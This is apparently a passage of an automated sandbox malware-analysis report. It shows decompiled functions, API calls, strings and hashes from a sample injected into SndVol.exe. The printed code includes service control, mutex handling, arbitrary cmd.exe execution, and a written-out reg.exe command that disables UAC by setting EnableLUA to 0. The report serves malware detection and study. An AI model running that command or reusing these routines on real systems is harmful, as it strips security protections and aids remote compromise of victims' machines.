                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A575,00000000), ref: 0041AA1B
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A575,00000000), ref: 0041AA28
                                    • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A575,00000000), ref: 0041AA37
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A575,00000000), ref: 0041AA49
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A575,00000000), ref: 0041AA4C
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Service$CloseHandle$Open$ControlManager
                                    • String ID:
                                    • API String ID: 221034970-0
                                    • Opcode ID: 60a7cbc30b89eb0f69decf0df0d6681b0d9bff21bb3b6cb3c15fbc2f13efb0a9
                                    • Instruction ID: 84eab4504f91b4fd64927ad1cf9f085c8c9fc5b6c9d2176be13daa21aa656da2
                                    • Opcode Fuzzy Hash: 60a7cbc30b89eb0f69decf0df0d6681b0d9bff21bb3b6cb3c15fbc2f13efb0a9
                                    • Instruction Fuzzy Hash: BFF0C231541228ABD611AF659C49EFF3B6CDF45BA2F000026FE0992192DB68CD4596A9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041AAFC Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041AAFC(char _a4) {
				struct _SERVICE_STATUS _v32;
				signed int _t16;
				void* _t19;
				void* _t20;

				_t16 = 0;
				_t20 = OpenSCManagerW(0, 0, 0x40);
				_t19 = OpenServiceW(_t20, E00401F04( &_a4), 0x40);
				if(_t19 != 0) {
					_t16 = 0 | ControlService(_t19, 2,  &_v32) != 0x00000000;
					CloseServiceHandle(_t20);
					CloseServiceHandle(_t19);
				} else {
					CloseServiceHandle(_t20);
				}
				E00401F09();
				return _t16;
			}







                                    0x0041ab07
                                    0x0041ab16
                                    0x0041ab25
                                    0x0041ab29
                                    0x0041ab4a
                                    0x0041ab4d
                                    0x0041ab50
                                    0x0041ab2b
                                    0x0041ab2c
                                    0x0041ab2c
                                    0x0041ab55
                                    0x0041ab62

                                    APIs
                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A4F5,00000000), ref: 0041AB0B
                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A4F5,00000000), ref: 0041AB1F
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A4F5,00000000), ref: 0041AB2C
                                    • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A4F5,00000000), ref: 0041AB3B
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A4F5,00000000), ref: 0041AB4D
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A4F5,00000000), ref: 0041AB50
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Service$CloseHandle$Open$ControlManager
                                    • String ID:
                                    • API String ID: 221034970-0
                                    • Opcode ID: b8efc3080a58efbd5eeef1a2aefda9b54f9d6a5126152bd72706fcf9128d32df
                                    • Instruction ID: cee88727a0a2efc7b8d01b819133010bcb55eacd5b9773407f870323d66c2446
                                    • Opcode Fuzzy Hash: b8efc3080a58efbd5eeef1a2aefda9b54f9d6a5126152bd72706fcf9128d32df
                                    • Instruction Fuzzy Hash: E9F0C231502218ABD6116F259C49DFF3B6CDB45B66F00002AFF0992192DB3CDD4695A9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041AB63 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041AB63(char _a4) {
				struct _SERVICE_STATUS _v32;
				signed int _t16;
				void* _t19;
				void* _t20;

				_t16 = 0;
				_t20 = OpenSCManagerW(0, 0, 0x40);
				_t19 = OpenServiceW(_t20, E00401F04( &_a4), 0x40);
				if(_t19 != 0) {
					_t16 = 0 | ControlService(_t19, 3,  &_v32) != 0x00000000;
					CloseServiceHandle(_t20);
					CloseServiceHandle(_t19);
				} else {
					CloseServiceHandle(_t20);
				}
				E00401F09();
				return _t16;
			}







                                    0x0041ab6e
                                    0x0041ab7d
                                    0x0041ab8c
                                    0x0041ab90
                                    0x0041abb1
                                    0x0041abb4
                                    0x0041abb7
                                    0x0041ab92
                                    0x0041ab93
                                    0x0041ab93
                                    0x0041abbc
                                    0x0041abc9

                                    APIs
                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A475,00000000), ref: 0041AB72
                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A475,00000000), ref: 0041AB86
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A475,00000000), ref: 0041AB93
                                    • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A475,00000000), ref: 0041ABA2
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A475,00000000), ref: 0041ABB4
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A475,00000000), ref: 0041ABB7
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Service$CloseHandle$Open$ControlManager
                                    • String ID:
                                    • API String ID: 221034970-0
                                    • Opcode ID: 6b308d3d3828d04a5c81abbbdd3fc3d303577ed345ddfa8b1085d6bdbe930796
                                    • Instruction ID: 2fde4a3fe5fa6d317e7e803cd0ef490c9b3eaf3eb727221a90f58120e7e4e40a
                                    • Opcode Fuzzy Hash: 6b308d3d3828d04a5c81abbbdd3fc3d303577ed345ddfa8b1085d6bdbe930796
                                    • Instruction Fuzzy Hash: 77F02231501228ABD211AB24AC49EFF3B6CDB40B62F00002AFF0892182DB38CE0595A9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00404CC3 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121synchronizationthreadCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 94%
                                    			E00404CC3(void* __ecx, void* __edx, _Unknown_base(*)()* _a4, signed int _a12) {
				char _v24;
				char _v28;
				char _v40;
				void* _v44;
				char _v48;
				signed int _v52;
				void* _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				char _v76;
				char _v80;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t35;
				void* _t61;
				void* _t65;
				struct _SECURITY_ATTRIBUTES* _t67;
				signed int _t73;
				void* _t90;
				_Unknown_base(*)()* _t92;
				void* _t94;
				void* _t96;
				void* _t97;
				void* _t98;

				_t90 = __edx;
				_t97 =  &_v56;
				_v52 = _v52 & 0x00000000;
				_t94 = __ecx;
				 *(__ecx + 0x54) =  *(__ecx + 0x54) & 0x00000000;
				E004020DF(_t65,  &_v48);
				_t7 = _t94 + 0x58; // 0x474f50
				_t35 = _t7;
				_t92 = _a4;
				while(E00404EFB(_t94, E00401FAB(_t92),  &_v52, _t35) != 0) {
					_t73 =  *(_t94 + 0x30) & 0x000000ff;
					_a12 = _t73;
					_t96 = _v52 + _t73;
					if(_t96 <= E0040247C()) {
						_t67 = 0;
						__eflags = 0;
					} else {
						_t67 = 1;
						 *((intOrPtr*)(_t94 + 0x54)) = _t96 - E0040247C();
					}
					if(_t67 == 0) {
						E00401FE2( &_v60, _t90, _t94, E004041A2(_t92,  &_v24, _a12, 0xffffffff));
						E00401FD8();
						E00401FE2( &_v76, _t90, _t94, E004041A2( &_v64,  &_v40, 0, _v68));
						E00401FD8();
						_t103 = _t67;
						if(_t67 != 0) {
							_t25 = _t94 + 0xc; // 0x474f04
							E00401FC0(_t25,  &_v80);
							 *(_t94 + 0x24) = CreateEventA(0, 0, 0, 0);
							__eflags = 0;
							CreateThread(0, 0, _a4, _t94, 0, 0);
							WaitForSingleObject( *(_t94 + 0x24), 0xffffffff);
							CloseHandle( *(_t94 + 0x24));
						} else {
							_t98 = _t97 - 0x18;
							E004020F6(_t67, _t98, _t90, _t103,  &_v80);
							_a4(_t94);
							_t97 = _t98 + 0x1c;
						}
						E00401FE2(_t92, _t90, _t94, E004041A2(_t92,  &_v28, _t96, 0xffffffff));
						E00401FD8();
						_t61 = E0040247C();
						_t32 = _t94 + 0x58; // 0x474f50
						_t35 = _t32;
						if(_t61 != 0) {
							continue;
						}
					}
					break;
				}
				return E00401FD8();
			}





























                                    0x00404cc3
                                    0x00404cc3
                                    0x00404cc6
                                    0x00404cce
                                    0x00404cd5
                                    0x00404cd9
                                    0x00404ce2
                                    0x00404ce2
                                    0x00404ce5
                                    0x00404ce9
                                    0x00404d06
                                    0x00404d0e
                                    0x00404d12
                                    0x00404d1d
                                    0x00404d31
                                    0x00404d31
                                    0x00404d1f
                                    0x00404d21
                                    0x00404d2c
                                    0x00404d2c
                                    0x00404d35
                                    0x00404d52
                                    0x00404d5b
                                    0x00404d79
                                    0x00404d82
                                    0x00404d8b
                                    0x00404d8d
                                    0x00404da5
                                    0x00404da8
                                    0x00404db9
                                    0x00404dbc
                                    0x00404dc7
                                    0x00404dd2
                                    0x00404ddb
                                    0x00404d8f
                                    0x00404d8f
                                    0x00404d95
                                    0x00404d9b
                                    0x00404d9f
                                    0x00404d9f
                                    0x00404df3
                                    0x00404dfc
                                    0x00404e03
                                    0x00404e0a
                                    0x00404e0a
                                    0x00404e0d
                                    0x00000000
                                    0x00000000
                                    0x00404e0d
                                    0x00000000
                                    0x00404d35
                                    0x00404e23

                                    APIs
                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                                    • CreateThread.KERNEL32 ref: 00404DC7
                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00404DD2
                                    • CloseHandle.KERNEL32(?,?,00000000), ref: 00404DDB
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                    • String ID: Cgt
                                    • API String ID: 3360349984-609712810
                                    • Opcode ID: d94bc11cfe9394de9cc5ef23b93406a355f047db4592e79f46aa731b23afb824
                                    • Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
                                    • Opcode Fuzzy Hash: d94bc11cfe9394de9cc5ef23b93406a355f047db4592e79f46aa731b23afb824
                                    • Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040A5C3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 94%
                                    			E0040A5C3(void* __ecx, char* __edx) {
				void* __ebx;
				int _t9;
				long _t14;
				char* _t22;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t30;

				_t22 = __edx;
				_t9 =  *0x4751a0 |  *0x4751a4;
				_t24 = __ecx;
				if(_t9 != 0) {
					 *((char*)(__ecx + 0x39)) = 0;
					do {
						_t9 = CreateFileW(E00401F04(0x475158), 0x80000000, 7, 0, 3, 0x80, 0);
						_t23 = _t9;
						if(_t23 == 0xffffffff) {
							 *((char*)(_t24 + 0x39)) = 0;
						} else {
							_t14 = GetFileSize(_t23, 0);
							_t30 = 0 -  *0x4751a4;
							if(_t30 >= 0 && (_t30 > 0 || _t14 >=  *0x4751a0)) {
								 *((char*)(_t24 + 0x39)) = 1;
								if( *((intOrPtr*)(_t24 + 0x49)) != 0) {
									E0040B02A(0, _t24, _t22);
								}
								Sleep(0x2710);
							}
							_t9 = CloseHandle(_t23);
						}
					} while ( *((char*)(_t24 + 0x39)) == 1);
					if( *((intOrPtr*)(_t24 + 0x49)) == 0) {
						_t35 =  *0x47513c - 1;
						if( *0x47513c == 1) {
							E0040905C(0, _t25 - 0x18, _t22, _t35, _t24 + 0x68);
							return E0040A179(_t24, _t22);
						}
					}
				}
				return _t9;
			}











                                    0x0040a5c3
                                    0x0040a5c8
                                    0x0040a5d1
                                    0x0040a5d3
                                    0x0040a5db
                                    0x0040a5de
                                    0x0040a5f9
                                    0x0040a5ff
                                    0x0040a604
                                    0x0040a644
                                    0x0040a606
                                    0x0040a608
                                    0x0040a60e
                                    0x0040a614
                                    0x0040a620
                                    0x0040a627
                                    0x0040a62b
                                    0x0040a62b
                                    0x0040a635
                                    0x0040a635
                                    0x0040a63c
                                    0x0040a63c
                                    0x0040a647
                                    0x0040a650
                                    0x0040a652
                                    0x0040a659
                                    0x0040a664
                                    0x00000000
                                    0x0040a66b
                                    0x0040a659
                                    0x0040a650
                                    0x0040a673

                                    APIs
                                    • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A69B), ref: 0040A5F9
                                    • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A69B), ref: 0040A608
                                    • Sleep.KERNEL32(00002710,?,?,?,0040A69B), ref: 0040A635
                                    • CloseHandle.KERNEL32(00000000,?,?,?,0040A69B), ref: 0040A63C
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$CloseCreateHandleSizeSleep
                                    • String ID: XQG
                                    • API String ID: 1958988193-3606453820
                                    • Opcode ID: effddecaee9a5f77b990edd8a390069ea8cd53d98003785b57b7107b701bccdd
                                    • Instruction ID: 3707d938aca408b7ae5a758f45b809843a01d1a20cbb3131bb2780466404e056
                                    • Opcode Fuzzy Hash: effddecaee9a5f77b990edd8a390069ea8cd53d98003785b57b7107b701bccdd
                                    • Instruction Fuzzy Hash: 5A11EB30640740AAE6316B249899B1F3A69EB45316F48093AF1C26A6D2C67A5CA5C72E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041D461 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 70%
                                    			E0041D461() {
				char _v20;
				struct _WNDCLASSEXA _v68;
				void* __edi;
				struct HWND__* _t20;
				void* _t23;

				E00436DE0(_t23,  &(_v68.style), 0, 0x2c);
				_v68.cbSize = 0x30;
				_v68.style = 0;
				_v68.lpfnWndProc = E0041D4E1;
				_v68.cbClsExtra = 0;
				asm("movsd");
				_v68.lpszClassName =  &_v20;
				_v68.cbWndExtra = 0;
				asm("movsd");
				_v68.lpszMenuName = 0;
				asm("movsd");
				asm("movsw");
				asm("movsb");
				if(RegisterClassExA( &_v68) == 0) {
					L3:
					return 0;
				}
				_t20 = CreateWindowExA(0,  &_v20, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, 0, 0);
				if(_t20 == 0) {
					GetLastError();
					goto L3;
				}
				return _t20;
			}








                                    0x0041d473
                                    0x0041d47d
                                    0x0041d487
                                    0x0041d48d
                                    0x0041d497
                                    0x0041d49a
                                    0x0041d49b
                                    0x0041d4a2
                                    0x0041d4a5
                                    0x0041d4a6
                                    0x0041d4a9
                                    0x0041d4aa
                                    0x0041d4ac
                                    0x0041d4b6
                                    0x0041d4d8
                                    0x00000000
                                    0x0041d4d8
                                    0x0041d4c8
                                    0x0041d4d0
                                    0x0041d4d2
                                    0x00000000
                                    0x0041d4d2
                                    0x0041d4e0

                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ClassCreateErrorLastRegisterWindow
                                    • String ID: 0$MsgWindowClass
                                    • API String ID: 2877667751-2410386613
                                    • Opcode ID: f3bbe0aa415473aee5bc43a8efa1df89e34680c2f391f9c9c327150ef1d28388
                                    • Instruction ID: 3c8c38acadd940ce6be0499b4e9070c6f4f407a9b556dbd8e668c4d60f810244
                                    • Opcode Fuzzy Hash: f3bbe0aa415473aee5bc43a8efa1df89e34680c2f391f9c9c327150ef1d28388
                                    • Instruction Fuzzy Hash: B70125B1D00219BBDB00DFA5ECC49EFBBBCFA04355F40052AF805A6240E77899058BA4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00407755() {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOA _v92;
				void* __edi;
				long _t18;

				_t18 = 0x44;
				E00436DE0(0,  &_v92, 0, _t18);
				_v92.cb = _t18;
				E00436DE0(0,  &_v20, 0, 0x10);
				CreateProcessA("C:\\Windows\\System32\\cmd.exe", "/k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", 0, 0, 0, 0x8000000, 0, 0,  &_v92,  &_v20);
				CloseHandle(_v20);
				return CloseHandle(_v20.hThread);
			}







                                    0x0040775f
                                    0x00407768
                                    0x00407772
                                    0x00407777
                                    0x0040779b
                                    0x004077aa
                                    0x004077b6

                                    APIs
                                    • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
                                    • CloseHandle.KERNEL32(?), ref: 004077AA
                                    • CloseHandle.KERNEL32(?), ref: 004077AF
                                    Strings
                                    • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                                    • C:\Windows\System32\cmd.exe, xrefs: 00407796
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseHandle$CreateProcess
                                    • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                    • API String ID: 2922976086-4183131282
                                    • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                    • Instruction ID: ee4c7434826633865e25f7eef9cb5fe331bb131bbc9bb1f4c2f01422dd4b5efb
                                    • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                    • Instruction Fuzzy Hash: AFF09672D4029C76CB20ABD69C0DEDF7F7CEBC5B11F00046AF904A2041D6705410C6B9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041603C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 41COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041603C(void* __edx, void* __ebp, void* __eflags, char _a16, char _a52, void* _a76, char _a80, void* _a152, void* _a248) {
				void* _t11;

				_t41 = __eflags;
				_t11 = E0040417E(0,  &_a80, __edx, __ebp, E00401FAB(E00401E65( &_a16, __edx, __ebp, __eflags, 0)));
				_t35 = L"/C ";
				ShellExecuteW(0, L"open", L"cmd.exe", E00401F04(E004042FC(0,  &_a52, L"/C ", __ebp, _t41, _t11)), 0, 0);
				E00401F09();
				E00401F09();
				_t6 =  &_a16; // 0x404421
				E00401E8D(_t6, _t35);
				E00401FD8();
				E00401FD8();
				return 0;
			}




                                    0x0041603c
                                    0x00416056
                                    0x0041605c
                                    0x0041607e
                                    0x00416088
                                    0x00416fd5
                                    0x00416fda
                                    0x00416fde
                                    0x00416fea
                                    0x00416ff6
                                    0x00417003

                                    APIs
                                    • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 0041607E
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExecuteShell
                                    • String ID: !D@$/C $cmd.exe$open
                                    • API String ID: 587946157-931906397
                                    • Opcode ID: 6bff5237de8c91ff4a486894f1acf581b3a9c82a3c837897f15b212140abbd58
                                    • Instruction ID: 8cf5933de8e1abee0b6e3c3ba3176d2f9f0379a7cd1ca8562c8f6bde0527bc24
                                    • Opcode Fuzzy Hash: 6bff5237de8c91ff4a486894f1acf581b3a9c82a3c837897f15b212140abbd58
                                    • Instruction Fuzzy Hash: EDF01D712083465AC704FB76D8919BEB3A9AB90359F40483FB546A20E2EF3C9949C65A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00407260(void* __esi) {
				int _t5;
				void* _t7;
				void* _t8;
				void* _t13;
				void* _t20;

				_t20 =  *0x4719d0 - 1; // 0x1
				if(_t20 != 0) {
					__eflags =  *0x4719d0 - 1;
					if(__eflags != 0) {
						CloseHandle( *0x472d44);
						__eflags = E004077B7(__eflags);
						if(__eflags == 0) {
							_t13 = 0x472b38;
						} else {
							_t13 = E00401F04(0x4752d8);
						}
						_t5 = E0040766D(_t13, 0x466468, __eflags);
						__eflags = _t5;
						if(_t5 == 0) {
							ExitProcess(_t5);
						}
						_t7 = CreateMutexA(0, 1, E00401FAB(0x475320));
						 *0x472d44 = _t7;
						_t8 = 2;
						return _t8;
					} else {
						__eflags = 1;
						return 1;
					}
				} else {
					return 1;
				}
			}








                                    0x00407263
                                    0x00407269
                                    0x0040768a
                                    0x00407691
                                    0x0040769e
                                    0x004076b5
                                    0x004076b7
                                    0x004076c4
                                    0x004076b9
                                    0x004076c0
                                    0x004076c0
                                    0x004076c9
                                    0x004076cf
                                    0x004076d1
                                    0x004076d4
                                    0x004076d4
                                    0x004076e9
                                    0x004076f1
                                    0x004076f6
                                    0x004076f7
                                    0x00407693
                                    0x00407695
                                    0x00407696
                                    0x00407696
                                    0x0040726f
                                    0x0040726f
                                    0x0040726f

                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: SG$C:\Windows\SysWOW64\SndVol.exe
                                    • API String ID: 0-1108377070
                                    • Opcode ID: 609596a1dfd73e3e14ef38a12528c0b0aa9ed42c21a05a81d57c6312ddfedd5a
                                    • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                                    • Opcode Fuzzy Hash: 609596a1dfd73e3e14ef38a12528c0b0aa9ed42c21a05a81d57c6312ddfedd5a
                                    • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004432A9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0044325A,?,?,004431FA,?), ref: 004432C9
                                    • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004432DC
                                    • FreeLibrary.KERNEL32(00000000,?,?,?,0044325A,?,?,004431FA,?), ref: 004432FF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressFreeHandleLibraryModuleProc
                                    • String ID: CorExitProcess$mscoree.dll
                                    • API String ID: 4061214504-1276376045
                                    • Opcode ID: f5213dab678aaad7ce64006389dcdf2bf679603fda04a95a9a10c3b8942720a1
                                    • Instruction ID: cd338162c07a9c715370027a12afb0a9f5d57c88e46c2dfbaa24397bbc69b318
                                    • Opcode Fuzzy Hash: f5213dab678aaad7ce64006389dcdf2bf679603fda04a95a9a10c3b8942720a1
                                    • Instruction Fuzzy Hash: 94F04430A11209FBDB119F55DC49B9EBFB4EF04713F1040A9FC05A2261DB749E45DA98
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 87%
                                    			E004050E4(void* __ecx, void* __ebp, char _a4) {
				void* _t17;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t25;

				_t23 = __ecx;
				if( *((char*)(__ecx + 0x5c)) == 0) {
					return 0;
				}
				if(_a4 == 0) {
					_t26 = _t25 - 0x18;
					E00402093(_t17, _t25 - 0x18, _t21, __ebp, "KeepAlive             | Disabled");
					E00402093(_t17, _t26 - 0x18, _t21, __ebp, "!");
					E0041B441(_t17, _t22);
				}
				 *(_t23 + 0x64) = CreateEventA(0, 0, 0, 0);
				SetEvent( *(_t23 + 0x60));
				WaitForSingleObject( *(_t23 + 0x64), 0xffffffff);
				CloseHandle( *(_t23 + 0x64));
				return 1;
			}








                                    0x004050e5
                                    0x004050eb
                                    0x00000000
                                    0x0040514a
                                    0x004050f2
                                    0x004050f4
                                    0x004050fe
                                    0x0040510d
                                    0x00405112
                                    0x00405117
                                    0x00405129
                                    0x0040512c
                                    0x00405137
                                    0x00405140
                                    0x00000000

                                    APIs
                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405120
                                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 0040512C
                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 00405137
                                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 00405140
                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                    • String ID: KeepAlive | Disabled
                                    • API String ID: 2993684571-305739064
                                    • Opcode ID: b28b3093e1d13ac0f052200ab3fdec7cbf874a13d90d2b662109fc2f48de2743
                                    • Instruction ID: e38d535aa836d350c4ca975eaebea1cfbb9351857415a19e58638d5b7f5c9196
                                    • Opcode Fuzzy Hash: b28b3093e1d13ac0f052200ab3fdec7cbf874a13d90d2b662109fc2f48de2743
                                    • Instruction Fuzzy Hash: 62F06D71904711BBDB103B758D0AA6B7E98EB02315F0009BEF982916E2D6798850CF9A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00416B7B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33threadCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 89%
                                    			E00416B7B(void* __ebx, void* __edi, void* __ebp, void* __eflags, char _a16, void* _a152, void* _a248) {
				void* _t19;

				asm("sbb eax, 0x472d48");
				if(__eflags != 0) {
					ShowWindow( *0x474b34, 9);
					SetForegroundWindow( *0x474b34);
				} else {
					E0041CCED(__ebx, 1, _t19, __edi);
					CreateThread(0, 0, E0041D3AF, 0, 0, 0);
					 *0x472d48 = 2;
				}
				_t1 =  &_a16; // 0x404421
				E00401E8D(_t1, _t19);
				E00401FD8();
				E00401FD8();
				return 0;
